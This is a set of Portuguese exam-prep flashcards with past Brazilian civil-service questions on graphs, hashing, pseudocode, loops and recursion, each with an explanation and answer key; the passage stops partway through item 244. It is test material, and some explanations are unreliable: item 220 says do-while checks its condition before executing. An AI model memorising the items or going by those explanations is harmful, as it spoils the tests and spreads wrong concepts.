Se o grafo for direcionado/orientado, um grafo é dito fortemente conexo se existir um caminho de A → B e de B → A, para cada par (A,B) de vértices de um grafo. Em outras palavras, o grafo é fortemente conexo se cada par de vértices participa de um circuito.

Isto significa que cada vértice pode ser alcançável partindo-se de qualquer outro vértice do grafo.

Conforme vimos em aula, um grafo é fortemente conexo se todos os nós puderem ser atingidos a partir de qualquer outro nó.

Como vimos na descrição, cada vértice pode ser alcançável partindo-se de qualquer outro vértice do grafo.

Gabarito: Correto

197
Q
  1. (CESPE - 2013 – CRPM – Analista de Sistemas)

Considere que o grafo não orientado representado na figura abaixo possua as seguintes características:

G1 = (V1, A1)
V1 = {A, B, C, D}
A1 = {(A, C), (A, D), (B, C), (B, D), (A,B)}.

Nesse caso, é correto afirmar que o grafo G1 possui quatro vértices, nomeados de A, B, C e D, e cinco arcos, que conectam pares de vértices, conforme especificado em A1.

A

A questão está quase perfeita, mas ela possui um deslize: não existe a aresta (A,B) – seria (C,D).

Gabarito: Errado

198
Q
  1. (CESPE - 2012 – BASA – Analista de Sistemas)

A implementação de um grafo do tipo ponderado e direcionado na forma de uma matriz de adjacência utiliza menor quantidade de memória que a implementação desse mesmo grafo na forma de uma lista encadeada.

A

Pensem comigo! Para um grafo com uma Matriz de Adjacência esparsa (não densa), uma representação de Lista de Adjacências do grafo ocupa menos espaço, porque ele não usa nenhum espaço para representar as arestas que não estão presentes.

Lembram-se da lista? Nós só representamos os nós adjacentes, em contraste com a Matriz de Adjacência. No entanto, quanto mais denso, isso pode mudar.

Conforme vimos em aula, para grafos esparsos (não densos), a Lista de Adjacência (que é uma lista encadeada) ocupa menos espaço em memória, na medida em que não necessita representar vértices não adjacentes – diferente da Matriz de Adjacência.

Gabarito: Errado

199
Q
  1. (CESGRANRIO - 2014 – BASA – Analista de Sistemas)

O grafo acima pode ser representado pela seguinte matriz:

A

Vamos ver se vocês se lembram!

O vértice A11 tem ser 0, porque não há uma aresta do Nó 1 para o Nó 1.

O vértice A12 tem ser 1, porque há uma aresta do Nó 1 para o Nó 2. O vértice A13 tem ser 0, porque não há uma aresta do Nó 1 para o Nó 3.

O vértice A14 tem ser 1, porque há uma aresta do Nó 1 para o Nó 4.

O vértice A15 tem ser 0, porque não há uma aresta do Nó 1 para o Nó 5.

Logo, a primeira linha deve ser: 0, 1, 0, 1, 0.

Eliminamos todos os itens, exceto os dois primeiros.

Vamos pegar um vértice específico agora para
descobrir qual está certo.

Observem o vértice A23 e percebam que ele deve ser 1, porque existe uma aresta do Nó 2 para o Nó 3. Descobrimos a resposta!

Gabarito: Letra A

200
Q
  1. (CESPE - 2012 – TJ/SE – Analista de Sistemas)

Um grafo é formado por um par de conjuntos de vértices e arestas, não podendo o conjunto de vértices ser particionado em subconjuntos.

A

Podem, sim. O nome disso é: Grafo Bipartido!

Um grafo é dito ser bipartido quando seu conjunto de vértices V puder ser particionado em dois subconjuntos V1 e V2.

Portanto não há óbice quanto ao particionamento de um conjunto de vértices em subconjuntos.

Gabarito: Errado

201
Q
  1. (CESPE - 2012 – TRT/AM – Analista de Sistemas)

Um grafo é uma estrutura de dados consistida em um conjunto de nós (ou vértices) e um conjunto de arcos (ou arestas). O grafo em que os arcos possuem um número ou peso associados a eles, é chamado de grafo:

a) predecessor.
b) adjacente.
c) incidente.
d) ponderado.
e) orientado.

A

Um grafo pode ser dirigido – também chamado direcionado, orientado ou dígrafo –, se as arestas tiverem uma direção (imagem da esquerda), ou não dirigido, se as arestas não tiverem direção (imagem central).

Se as arestas tiverem associado um peso ou custo, o grafo passa a ser chamado ponderado, valorado ou pesado (imagem da direita).

Conforme vimos em aula, um grafo com arcos numerados ou com peso são chamados Grafos Ponderados ou Grafos Valorados ou Grafos Pesados.

Gabarito: Letra D

202
Q
  1. (CESPE - 2010 - Banco da Amazônia - Técnico Científico - Tecnologia da Informação - Administração de Dados)

A pesquisa sequencial é aplicável em
estruturas não ordenadas.

A

Perfeito!

Para fazer uma pesquisa sequencial, não é necessário que os dados estejam ordenados – diferentemente da pesquisa binária.

Gabarito: C

203
Q
  1. (CESPE - 2012 - Banco da Amazônia - Técnico Científico - Administração de Dados)

As colisões ocorrem na utilização de tabela hash porque várias chaves podem resultar na mesma posição.

A

Perfeito!

É raro, mas acontece…

Gabarito: C

204
Q
  1. (CESPE - 2010 - Banco da Amazônia - Técnico Científico - Tecnologia da Informação - Administração de Dados)

Ocorre o hashing quando não há o
armazenamento de cada entrada de uma tabela em um específico endereço calculado a partir da aplicação de uma função chave da entrada.

A

Pelo contrário, ocorre o hashing quando há o armazenamento de cada entrada de uma
tabela em um específico endereço calculado a partir da aplicação de uma função chave da
entrada.

Gabarito: E

205
Q
  1. (FCC - 2008 - METRÔ-SP - Analista Treinee - Análise de Sistemas)

O objetivo de fazer uma busca rápida a partir de uma chave de pesquisa simples e obter o valor desejado é alcançado pela estrutura de dados especial denominada:

a) array.
b) lista.
c) vetor.
d) árvore binária.
e) tabela de hashing.

A

Trata-se da Tabela de Hashing!

Gabarito: E

206
Q
  1. (CESPE - 2012 - Banco da Amazônia - Técnico Científico - Administração de Dados)

A busca que utiliza uma tabela hash realiza comparação das chaves para encontrar a posição do elemento que está sendo buscado.

A

Não, eles utilizam a chave para gerar resultados que, esses sim, são comparados.

Gabarito: E

207
Q
  1. (CESPE - 2010 - DETRAN-ES - Analista de Sistemas)

No método de hashing, por meio de acesso sequencial, são utilizados tabelas e mapas para recuperar informações de endereço de arquivos de forma rápida e eficiente.

A

Não, Método de Hashing não faz Acesso Sequencial.

Gabarito: E

208
Q
  1. (FCC - 2015 - DPE-SP - Programador)

Um Programador da Defensoria Pública
do Estado de São Paulo foi solicitado a propor uma solução para o problema: Há uma quantidade grande de dados classificáveis por chave e estes dados devem ser divididos em subconjuntos com base em alguma característica das chaves.

Um método eficiente deve ser capaz de localizar em qual subconjunto deve-se
colocar cada chave e depois estes subconjuntos bem menores devem ser
gerenciados por algum método simples de busca para que se localize uma chave
rapidamente.

O Programador propôs como solução, corretamente, a implementação de:

a) Deques.
b) Tabela e função hash.
c) Pilhas.
d) Fila duplamente encadeada.
e) Árvore Binária de Busca.

A

Como se fala em subdivisão em conjuntos com base nas chaves, podemos afirmar que se
trata-se da Tabela de Hashing!

As árvores de busca binária não dividem os elementos em subconjuntos, somente ordena a estrutura não-linear de forma a facilitar uma busca binária.

Gabarito: B

209
Q
  1. (INQC/CPTRANS/2024)

Observe o seguinte algoritmo:

Algoritmo Maior
Var
num1, num2, maior: inteiro:
Inicio
Leia (num1, num2);
Se (num1>num2) então
maior ← num1;
senão
maior ← num2;
fimse;
escreva (maior);
Fim

A ferramenta utilizada para construção desse algoritmo é:

a) diagrama de Nassi-Shneiderman

b) diagrama hierárquico de fluxo

c) pseudocódigo

d) fluxograma

A

Veja que não temos uma estrutura padrão de linguagem - estamos usando uma linguagem
estruturada apenas para descrever um algoritmo.

Isso caracteriza o uso de pseudolinguagem.

Gabarito: Letra C

210
Q
  1. (CEBRASPE/CAU BR/2024)

Julgue o item a seguir, relativo a algoritmos de linguagem de
programação.

O pseudocódigo consiste em um texto estruturado com comandos escritos em linguagem humana, no qual se apoia a criação dos algoritmos computacionais.

A

Perfeito.

O objetivo da pseudolinguagem, ou pseudocódigo, é estruturar algoritmos de programação através de uma linguagem natural, humana, para que qualquer um possa entender
a “lógica” por detrás do programa.

Gabarito: Correto

211
Q
  1. (CEBRASPE/CAU BR/2024)

Com relação à lógica de programação, julgue o próximo item.

A estrutura de controle IF, que pode ser classificada como do tipo iteração, determina o caminho que o algoritmo deve seguir, de acordo com determinada condição.

A

Temos 3 estruturas de controle num código:

  • Estruturas sequenciais
  • Estruturas de seleção
  • Estruturas de iteração (ou repetição)

O IF, ou Se, é uma estrutura de seleção, que elenca uma série de blocos de código, e um deles
será selecionado para execução conforme determinada condição pré-definida.

Gabarito: Errado

212
Q
  1. (IGEDUC/CM V Santo Antão/2024)

Julgue o item a seguir.

O pseudocódigo é considerado uma linguagem de programação formal e executável, seguindo uma sintaxe e semântica específicas, semelhante a linguagens como Java e Python. Sua principal
aplicação é na implementação direta de algoritmos em ambientes de desenvolvimento integrados, sem a necessidade de conversão para outra linguagem de programação.

A

Cuidado!

O pseudocódigo não conta com uma estrutura definida e, portanto, não é uma linguagem executável. Diferentemente de linguagens como Java e Python.

Gabarito: Errado

213
Q
  1. (CEBRASPE/TST/2024)

programa principal
inteiro i, contagem = 10, limite = 10;
para (i = 0; i > limite; i = i + 1) faça
contagem = contagem – 1;
fim para
imprime(contagem);
fim programa

Com base no algoritmo precedente, escrito em pseudocódigo, assinale a opção que corresponde ao tipo de estrutura em que se realiza o decréscimo da variável contagem.

a) estrutura de controle
b) estrutura de repetição
c) estrutura condicional
d) atributo
e) função

A

O bloco de código apresenta uma estrutura Para, que é uma das formas de implementarmos uma estrutura de repetição (iteração), principalmente nos casos em que sabemos a quantidade de laços (iterações, repetições) que queremos realizar.

Gabarito: Letra B

214
Q
  1. (CEBRASPE/TST/2024)

Uma das vantagens do uso de funções predefinidas é

a) o reaproveitamento de código.

b) a passagem de parâmetros.

c) o recebimento do retorno das funções.

d) o grau de abstração do sistema.

e) a facilidade de implementação das funções.

A

Funções pré-definidas fazem parte das funções nominadas, que permitem seu reuso através de uma chamada posterior, utilizando o nome da função - que pode ser nativa à linguagem, ou criada
pelo desenvolvedor. Com isso em mente, vamos às alternativas.

a) Certo. De fato, uma das maiores vantagens trazidas pelas funções predefinidas é a
capacidade de reaproveitar o bloco de código ao longo do programa.

b) Errado. Passagem de parâmetros é um processo feito em qualquer tipo de função, não é inerente às funções predefinidas.

c) Errado. Toda função retorna determinado valor.

d) Errado. A abstração do sistema envolve o foco em partes mais importantes do código - o que não está ligado, necessariamente, às funções predefinidas.

e) Errado. Não é porque uma função foi definida previamente que ela será de fácil implementação. Existem funções predefinidas complexas, como as de ordem superior.

Portanto, a alternativa correta é a letra A.

Gabarito: Letra A

215
Q
  1. (IBFC/TRF 5/2024)

Sobre Estruturas de Seleção / Condição, analise as afirmativas e dê valores Verdadeiro (V) ou Falso (F).

( ) A instrução else é obrigatória em todas as estruturas de condição.

( ) A instrução else em uma estrutura de condição é executada quando a condição no if é avaliada como falsa.

( ) Estruturas de condição não são necessárias em programação, pois é possível realizar todas as operações sem avaliar condições.

Assinale a alternativa que apresenta a sequência correta de cima para baixo.

a) F - F - F
b) F - V - F
c) V - F - V
d) V - V - V

A

Vamos analisar cada item.

( ) A instrução else é obrigatória em todas as estruturas de condição.

Falso. O else, ou Senão é uma forma de adicionarmos um caso residual - e nem sempre ele é
obrigatório, até mesmo no uso de estruturas If (Se)

( ) A instrução else em uma estrutura de condição é executada quando a condição no if é avaliada como falsa.

Verdadeiro. Numa estrutura if…else, ou Se…senão, a execução do bloco Else só é implementada quando a condição verificada no bloco if for falsa.

( ) Estruturas de condição não são necessárias em programação, pois é possível realizar todas as operações sem avaliar condições.

Falso. Não temos outra forma de implementar as funcionalidades das estruturas condicionais sem o uso delas - e as condições são partes estruturantes e essenciais de um código.

Portanto, ficamos com F-V-F.

Gabarito: Letra B

216
Q
  1. (CEBRASPE/FINEP/2024)

Assinale a opção que corresponde ao comando de salto incondicional utilizado em programação estruturada.

a) goto
b) struct
c) if
d) else
e) for

A

Na execução de um código, dada determinada situação, pode ser interessante (ou obrigatório) que linhas de código sejam puladas para a correta execução de um programa - como, por exemplo, se determinado bloco Se for executado, podemos pular instruções que introduziriam
alternativas à execução desse bloco.

A instrução que realiza esse “salto” é a goto (vá para).

Gabarito: Letra A

217
Q
  1. (COCP IFMT/IFMT/2023)

Segundo Manzano & Oliveira (2016), um laço incondicional, entre outras coisas, é um tipo de laço que é iterativo, porém não é interativo e tem seu funcionamento controlado por uma variável denominada contador.

Com essa descrição, o autor se refere ao laço do tipo:

a) para/fim_para
b) repita/até_que
c) enquanto/fim_enquanto
d) laço/fim_laço
e) execute/enquanto_for

A

As características que ajudam a identificar qual estrutura de repetição está sendo utilizado é:

  • É incondicional, isso é, não analisa uma condição para ser executado
  • Seu funcionamento é controlado por um contador
    Isso nos denota o uso da estrutura repetitiva Para, que utiliza um contador para verificar quantas iterações serão feitas.

Porém, como ele não analisa o resultado da iteração, somente o contador, ele não é um loop interativo.

Gabarito: Letra A

218
Q
  1. (CEBRASPE/CNMP/2023)

Julgue o item subsecutivo, que se referem a conceitos de
programação e banco de dados.

As estruturas condicionais são utilizadas para testar variáveis lógicas.

A

Perfeito.

Quando usamos uma estrutura condicional, por exemplo o Se…então..senão, estamos
fazendo uma verificação lógica - isso é, se o valor da sintaxe passada como parâmetro for
verdadeiro, executaremos o bloco Se, se for falso, executaremos o Senão.

Gabarito: Correto

219
Q
  1. (FUNDATEC/CIGA SC/2023)

Na linguagem Java, existe uma estrutura de controle de fluxo de execução que permite executar um bloco de código pelo menos uma vez e depois repeti-lo enquanto uma condição é verdadeira.

Que estrutura é essa?

a) do-while
b) while
c) for
d) if-else
e) repeat-until

A

A estrutura que é executada ao menos uma vez, independentemente de ter sua condição de implementação verificada (se é verdadeira ou falsa), é o Faça…enquanto - ou Do…while.

Um adendo: a explicação também poderia ser respondida com o Repita…até, mas o Java não aceita nenhum comando desse gênero.

Gabarito: Letra A

220
Q
  1. (FUNDATEC/IFFAR/2023)

Sobre a utilização de estruturas de repetição em algoritmos, assinale a alternativa que apresenta estrutura que executa um conjunto de instruções pelo menos uma vez
antes de verificar a validade da condição estabelecida.

a) repita…até_que

b) faça…enquanto

c) caso… seja… faça… senão… fim_caso

d) enquanto… faça… fim_enquanto

e) para… de… até… faça… fim_para

A

A estrutura de repetição que sempre executará um bloco de código antes de verificar a condição, fazendo essa verificação após a execução, é o Repita…Até.

Cuidado - o Faça…enquanto tem
uma estrutura muito similar, também irá executar o bloco ao menos uma vez, mas faz a verificação antes da executá-lo.

Gabarito: Letra A

221
Q
  1. (CONSULPLAN/IF PA/2023)

As estruturas de controle de fluxo são elementos fundamentais da lógica de programação.

Assinale, a seguir, um exemplo de estrutura de controle de fluxo em lógica de programação.

a) Loop.
b) Classe.
c) Variável.
d) Constante.

A

Ferramentas de controle de fluxo são aquelas que interrompem o fluxo “normal” de leitura do código, o fluxo contínuo e sequencial.

Uma das formas de controlarmos o fluxo é através das estruturas de repetição, ou loops.

Com eles, um determinado bloco de código é executado n
vezes, enquanto a condição for verdadeira ou conforme um contador.

Gabarito: Letra A

222
Q
  1. (CONSUPLAN/IF PA/2023)

Qual das seguintes instruções de pseudocódigo seria utilizada para fazer o programa repetir um conjunto de ações até que uma determinada condição seja satisfeita?

a) SE…ENTÃO
b) PARA…ATÉ
c) CASO…SEJA
d) ENQUANTO…FAÇA

A

Uma estrutura, para repetir inúmeras vezes, deve se encaixar no conceito das estruturas de repetição.

Dentre as alternativas, temos duas delas - o PARA…ATÉ, e o ENQUANTO…FAÇA.

A estrutura que faz uma sequência de repetições até que determinada condição seja implementada é o ENQUANTO… FAÇA. O PARA…ATÉ usará um contador para ter uma quantidade definida de
repetições.

Gabarito: Letra D

223
Q
  1. (FUNDATEC/IFC/2023)

Em relação a algoritmos, analise as assertivas abaixo:

I. Um algoritmo representa uma sequência de regras.

II. Essas regras devem ser executadas em uma ordem preestabelecida.

III. Cada algoritmo possui um conjunto finito de regras.

IV. Essas regras devem possuir um significado e ser formalizadas segundo alguma convenção.

Quais estão corretas?

a) Apenas I e II.
b) Apenas I e III.
c) Apenas II e IV.
d) Apenas II, III e IV.
e) I, II, III e IV.

A

Vamos analisar cada item.

I. Certo. O algoritmo é uma sequência de regras que visa executar determinado programa.

II. Certo. A ordem corresponde ao fluxo de execução do código - usualmente sequencial.

III. Certo. Os algoritmos possuem regras para definir sua correta interpretação.

IV. Certo. Mesmo em pseudocódigo, temos algumas regras e padronizações que devem ser feitas e mantidas, imagine escrever cada função, cada loop de um jeito diferente num mesmo código, isso geraria uma confusão total.

Portanto, todos os itens estão corretos.

Gabarito: Letra E

224
Q
  1. (FUNCER/Pref. São Tomé/2023)

Dentro da lógica de programação é uma estrutura que permite executar mais de uma vez o mesmo comando ou conjunto de comandos, de acordo com uma condição ou com um contador.

A estrutura de repetição básica abaixo está se referindo:

a) do while.
b) for.
c) while.
d) if.

A

A estrutura apresentada inicia, em A, com uma verificação se determinado item possui o valor
TRUE (verdadeiro) ou FALSE (falso).

Se o valor for TRUE, executamos o bloco B e, em seguida,
verificamos novamente se seu valor é verdadeiro ou falso.

Se o valor for FALSE, seguimos na execução normal do código. Essa estrutura é chamada de WHILE, ou Enquanto.

Gabarito: Letra C

225
Q
  1. (CETAP/SEMAS PA/2023)

Em que situação a recursividade é apropriada como solução para um problema de programação?

a) Quando o problema pode ser dividido em subproblemas independentes e semelhantes ao problema inicial.

b) Quando o problema é simples, ilógico e linear.

c) Quando o problema requer a utilização de laços de repetição.

d) Quando o problema é de natureza elétrica, o que demanda maior capacidade de
processamento.

e) Quando o problema requer uma solução iterativa, ou seja, uma sequência de soluções que
admitem certa margem de erro, mas que vão melhorando conforme novas iterações são
executadas.

A

Vamos analisar cada alternativa.

a) Certo. A recursividade é a aplicação da “especialização do problema”, já que dividimos
uma função, que objetiva “resolver um problema”, em subproblemas independentes a cada recursão.

b) Errado. A recursividade exige uma lógica mais complexa, lógica e não-linear.

c) Errado. Quando o problema requer laços de repetição, são usados os laços (estruturas de
repetição).

d) Errado. Problema elétrico? Isso é problema para a engenharia elétrica, não para
programação haha

e) Errado. Assim como na letra B, se a o problema requer iterações, usa-se uma estrutura que permita iterações - as estruturas de repetição.

Portanto, correta a alternativa A.

Gabarito: Letra A

226
Q
  1. (CEBRASPE/EMPREL/2023)

calc = 5 % 2
imprime(calc)

Assinale a opção que apresenta o resultado da execução do pseudocódigo precedente.

a) 1
b) 2
c) 10
d) 20
e) 25

A

A sintaxe 5%2 indica que estamos fazendo um módulo de 5 por 2, e seu retorno será o resto da divisão.

Portanto, o valor impresso será equivalente ao resto da divisão de 5 por 2, que é igual a 1.

Gabarito: Letra A

227
Q
  1. (CEBRASPE/Pref. Fortaleza/2023)

No que concerne a conceitos de algoritmos e blocos de comandos, julgue o item seguinte.

As funções são um bloco de código ou comandos constituindo um conjunto específico de instruções repetíveis, que recebem uma ou mais entradas e produzem alguma saída.

A

Perfeito!

As funções trazem blocos de código, pequenos programas, que podem ser reutilizados
em diversos pontos do código.

Além disso, para ser caracterizada como uma função, a operação deve produzir alguma saída (retorno).

Gabarito: Correto

228
Q
  1. (CEBRASPE/Pref. Fortaleza/2023)

Com relação a estruturas de controle, seleção, repetição e
desvio, julgue o item a seguir.

Um loop que sempre se repetirá em um determinado número de vezes é representado pelo código SE ENTÃO SENÃO FIM SE.

A

O SE ENTÃO SENÃO é uma estrutura condicional, de seleção, e não um loop.

Os loops englobam o PARA, ENQUANTO, FAÇA ENQUANTO, REPITA ATÉ, e outros.

Portanto, incorreta a afirmativa.

Gabarito: Errado

229
Q
  1. (CEBRASPE/Pref. Fortaleza/2023)

No que concerne a conceitos de algoritmos e blocos de
comandos, julgue o item seguinte.

Algoritmo é uma lista de instruções que conduzem ações especificadas, passo a passo, em rotinas embasadas em hardware ou software.

A

Um algoritmo é, exatamente, uma lista de instruções que passará determinado valor de entrada por diversas ações e passos, que podem envolver rotinas embasadas em hardware (linguagens de
baixo nível) ou em software (linguagens de alto nível).

Então, correta a definição.

Gabarito: Correto

230
Q
  1. (CEBRASPE/Pref. Fortaleza/2023)

Com relação a estruturas de controle, seleção, repetição e desvio, julgue o item a seguir.

Ao final da execução do algoritmo a seguir, o valor 0 será apresentado.

constante A = 50

enquanto (A > 0)
A -= 5;
fim enquanto
escreva (A);

A

Essa questão tem algumas camadas de conhecimento sendo exploradas. Para começar, podemos afirmar errado pois a variável A é do tipo constante, ou seja, não poderá ser alterada.

Porém, vamos ignorar esse fato por enquanto e vamos analisar a estrutura do Enquanto.

Temos uma condição A > 0, ou seja, enquanto A for maior que 0, iremos executar um bloco de
código.

O bloco de código é a operação A -= 5, que é uma operação de atribuição: cada vez que
ela for chamada, retiraremos 5 unidades do valor de A.

Portanto, iríamos reduzir o valor de 5 em
5 - teríamos 50, 45, 40… 0.

Veja que, apesar da condição ser A > 0, quando tivermos o valor de A = 5, a condição ainda será
verdadeira e executaremos a operação A -= 5, resultando em A = 0.

Nesse momento, como A possui o valor 0, a condição não será mais estabelecida e não executaremos mais o código - mas o valor do A que seria impresso realmente seria 0. Note a importância da ordem de leitura do código.

Porém, novamente, como estamos tratando de uma constante, não podemos alterar seu valor de forma externa - então o valor da operação escreva (A) (que é similar ao imprimir(A), que estamos fazendo até agora) será 50.

Gabarito: Errado

231
Q
  1. (CEBRASPE/Pref. Fortaleza/2023)

A respeito de recursividade, julgue o próximo item.

Uma grande vantagem da utilização da recursividade é o baixo consumo de memória.

A

Muito pelo contrário - essa é uma desvantagem da recursividade, já que ela tem um alto consumo de memória.

Iremos executar várias iterações dentro de uma só função, o que irá necessitar uma alocação maior de memória.

Gabarito: Errado

232
Q
  1. (IDCAP/CREA BR/2023)

É uma maneira de resolver problemas decompondo-os repetidamente em subproblemas do mesmo tipo.

Um exemplo clássico de uso desse tipo de algoritmo para resolver problemas é a Torre de Hanoi. O trecho acima diz respeito a(o):

a) Algoritmo de programação dinâmica.
b) Algoritmo recursivo.
c) Algoritmo backtracking.
d) Algoritmo de força bruta.
e) Algoritmo de divisão e conquista.

A

Quando decompomos um problema dentro de pequenos problemas menores, estamos fazendo o que é chamado de recursividade.

Determinada função, por exemplo, passa a chamar a si diversas vezes, até que seja atingido um bloco base - que interrompe a necessidade da recursão.

Gabarito: Letra B

233
Q
  1. (FGV/TCE SP/2023)

Marta está definindo um algoritmo para descrever um menu de funções do sistema, apresentando as opções baseadas em números, seguido da leitura da opção, com a
saída ocorrendo após a digitação do número zero.

Para gerenciar o fluxo de execução, que envolve a exibição do menu e leitura da opção, repetindo-se até que seja digitada a opção zero, Marta deve utilizar a estrutura de controle:

a) enquanto - faça;
b) se - então;
c) repita - até;
d) para - faça;
e) se - então - senão.

A

O fluxo de execução de um código é a ordem com que o interpretador lê esse código e executa operações.

Estamos seguindo um fluxo de execução de bloco de código → verificação de condição, até que determinada condição seja verificada como verdadeira.

Essa estrutura se caracteriza como uma repetição do tipo Repita…Até.

Gabarito: Letra C

234
Q
  1. (CEBRASPE/PETROBRAS/2022)

Julgue o item subsequente, a respeito de algoritmos para ordenação e pesquisa e de programação recursiva.

Uma função é dita recursiva quando, dentro dela, é feita uma ou mais chamada a ela mesma.

A

Veja que essa é uma cobrança recorrente - tanto do ponto de vista teórico, que corresponde a quebra do programa em subprogramas, quanto do ponto de vista prático, que corresponde a uma função chamando a si uma ou mais vezes. Portanto, correta a afirmativa.

Gabarito: Correto

235
Q
  1. (SELECON/AMAZUL/2022)

Na construção de algoritmos estruturados são utilizadas estruturas de controle, como a conhecida por REPITA … ATÉ … FIM REPITA.

Neste contexto, NÃO é uma afirmativa válida para essa estrutura de controle:

a) A condição de teste da estrutura é inserida no INÍCIO da estrutura de controle.

b) A condição de teste da estrutura é inserida no FIM da estrutura de controle.

c) A saída do loop ocorre quando o teste da condição de controle retoma valor VERDADEIRO.

d) A execução do programa permanece no loop se o teste da condição de controle retoma
valor FALSO.

A

Vamos analisar cada alternativa.

a) Errado. A condição no bloco REPITA…ATÉ é implementada no fim da estrutura de controle,
não no início.

b) Certo. Vide letra A.

c) Certo. A saída do ENQUANTO é feita quando o valor for VERDADEIRO.

d) Certo. Se o valor da condição for FALSO, permaneceremos no loop até que esse valor seja VERDADEIRO.

Sendo assim, a alternativa incorreta é a letra A.

Gabarito: Letra A

236
Q
  1. (IFTO/IFTO/2022)

Qual das definições abaixo melhor descreve o que é um algoritmo?

a) Uma linguagem de programação usada para desenvolvimento de aplicativos web.

b) Um protocolo usado na camada de rede para estabelecer uma comunicação entre dois
dispositivos.

c) Tecnologia usada para enviar e receber dados do servidor sem precisar recarregar a página inteira.

d) Mecanismo para adicionar estilo a um documento web.

e) Uma sequência de passos que devem serem executados para alcançar um determinado
objetivo.

A

Vamos analisar cada alternativa.

a) Errado. A alternativa descreve uma linguagem web, como o HTML e JavaScript.

b) Errado. Os protocolos são padrões para troca de informações entre diferentes computadores numa rede.

c) Errado. A alternativa descreve o funcionamento de APIs assíncronas.

d) Errado. Esses mecanismos são expressos em um arquivo chamado CSS.

e) Certo. A alternativa traz corretamente a definição de algoritmos.

Gabarito: Letra E

237
Q
  1. (FGV/SEMSA Manaus/2022)

Considere a função fat especificada abaixo em pseudocódigo, que recebe um número inteiro positivo e calcula o fatorial do mesmo de forma recursiva, devolvendo um número inteiro.

function fat (n as integer) as integer
if n > 1
then …
else return 1
endif;

Para que a função fat funcione corretamente, o trecho “. . . “ deve ser substituído por

a) return fat(n + 1)
b) return fat(n)
c) return fat(n-1)
d) return n * fat(n)
e) return n * fat(n-1)

A

A questão traz um programa com um bloco de código faltante.

O objetivo é que seja calculado o fatorial do algoritmo de forma recursiva - isso nos indica que devemos chamar a própria função fat dentro do código.

Como não queremos uma recursão infinita, devemos ajeitar o parâmetro da função chamada para que ela chegue a obedecer a condição do bloco base (no else) - que será cumprida quando o valor de n ≤ 1.

Portanto, a cada iteração devemos fazer fat(n-1). Assim, se n for igual a 4, por exemplo,
iremos reduzi-lo uma unidade a cada laço, até chegarmos a n = 1.

Além disso, o fatorial é composto pela multiplicação de um número pelos seus predecessores - então, por exemplo, o fatorial de 3 (3!) será igual a 3 x 2 x 1.

Sendo assim, precisamos passar o
parâmetro atual para o cálculo - ficando, portanto, com n * fat(n-1) na recursão.

Vamos rodar n = 3, para ver se a recursão funciona:

  • LAÇO 1 - 3 * fat(2)
  • LAÇO 2 - 2 * fat(1)
  • LAÇO 3 - fat(1) = 1

Subimos preenchendo os valores.
* LAÇO 2 - 21 = 2
* LAÇO 1 - 3
2 = 6

Assim, podemos afirmar que o algoritmo age de forma correta.

Gabarito: Letra E

238
Q
  1. (QUADRIX/CRF GO/2022)

Acerca de programação, julgue o item.

Durante a execução de um programa, uma variável pode armazenar vários valores a cada instante, ou seja, ela pode armazenar até dez registros ao mesmo tempo.

A

“A cada instante” é uma constatação um pouco forte - mas, de fato, podemos frequentemente mudar o valor de uma variável, afinal, ela é variável. É o que acontece numa recursão, por exemplo.

Porém, a variável irá armazenar apenas o valor atual, não múltiplos valores ao mesmo tempo - a não ser que seja uma variável de estrutura de dados.

Mesmo assim, não teremos os limites de dez registros ao mesmo tempo. Portanto, podemos concluir que a afirmativa está incorreta.

Gabarito: Errado

239
Q
  1. (DIRENS/EEAR/2022) Relacione as colunas quanto às Estruturas de Controle do PHP. Em seguida, assinale a alternativa com a sequência correta.

1 – Executa um conjunto de instruções; baseado em um contador.
2 – Avalia a condição e, se for verdadeira, continua executando.
3 – Realiza uma avaliação, desvio condicional.

( ) IF
( ) FOR
( ) WHILE

a) 2 - 1 - 3
b) 1 - 2 - 3
c) 3 - 2 - 1
d) 3 - 1 - 2

A

Vamos identificar cada item.

1 – Executa um conjunto de instruções; baseado em um contador.
Trata-se do FOR (ou PARA, em português).

2 – Avalia a condição e, se for verdadeira, continua executando.
Descreve a estrutura do WHILE (ENQUANTO).

3 – Realiza uma avaliação, desvio condicional.
Traz a definição da condicional IF (SE…ENTÃO)

Portanto, temos 3 - 1 - 2.

Gabarito: Letra D

240
Q
  1. (IDECAN/UNILAB/2022) Observe o algoritmo a seguir:
  2. escreva(“Digite um numero….: “)
  3. leia(n)
  4. para i de 1 ate 18 faca
  5. se vet[i] = n entao
  6. p := i
  7. fimse
  8. fimpara

Na linha 5, qual a função da variável p?

a) Recebe o número digitado pelo usuário.
b) Recebe a posição no vetor vet do número encontrado.
c) Recebe o valor do número encontrado na posição i do vetor vet.
d) Recebe a soma dos números do vetor vet.

A

Na linha 5, temos o valor de i sendo atribuído à variável p. O i é a posição do vetor que estamos navegando - portanto, podemos afirmar que i recebe a posição no vetor vet do respectivo valor
de i.

Gabarito: Letra B

241
Q
  1. (FUNDATEC/SBC/2022) Sobre os testes de condições em linguagem de programação, é correto afirmar que:

a) Um teste de condição pode ser realizado através da instrução while.

b) A componente else do if é obrigatório.

c) if-else a condição é avaliada e, caso seja verdadeira, é executada a instrução associada ao else.

d) if-else permite a existência de instruções que não são executadas em um programa.

e) if-else não pode ser executado de forma encadeada.

A

Vamos avaliar cada item.

a) Errado. O WHILE é uma instrução de repetição, não de condição.

b) Errado. O ELSE (equivalente ao Senão) é opcional.

c) Errado. Se a condição for verdadeira, executamos o bloco do IF.

d) Certo. O IF-ELSE é uma instrução de seleção, ou seja, de inúmeros blocos, somente um será executado.

e) Errado. Podemos ter IF-ELSE encadeados.

Portanto, a alternativa correta é a letra D.

Gabarito: Letra D

242
Q
  1. (CEBRASPE/BANRISUL/2022) Julgue o próximo item, a respeito de lógica de programação.

Os laços usados em estruturas de repetição e teste podem ser feitos por meio de comandos como enquanto e repita.

A

Perfeito! Os laços são as repetições, feitas na estrutura de repetição. Comandos como Enquanto, Repita…até, Faça…até e Para são formas de implementarmos essas estruturas.

Gabarito: Correto

243
Q
  1. (CEBRASPE/BANRISUL/2022)

Julgue o próximo item, a respeito de lógica de programação.

As estruturas se e senão são estruturas de repetição utilizadas nas situações em que, caso determinada condição seja alcançada, um comando é realizado, caso contrário, outro comando é executado.

A

Se e Senão são estruturas de seleção, condicionais, e não estruturas de repetição.

De resto, a explicação está correta - se a condição for verdadeira, executaremos um bloco, caso contrário, executaremos o outro bloco.

Gabarito: Errado

244
Q
  1. (IBFC/AFEAM/2022)

Dada a forma geral a seguir, existente em várias linguagens de
programação, assinale a alternativa que apresenta corretamente a que tipo de estrutura se refere.

switch (expressão) {
case expressão_constante1:sentença1;
. . .
case constanten: sentença_n;
[default: sentençan + 1]
}

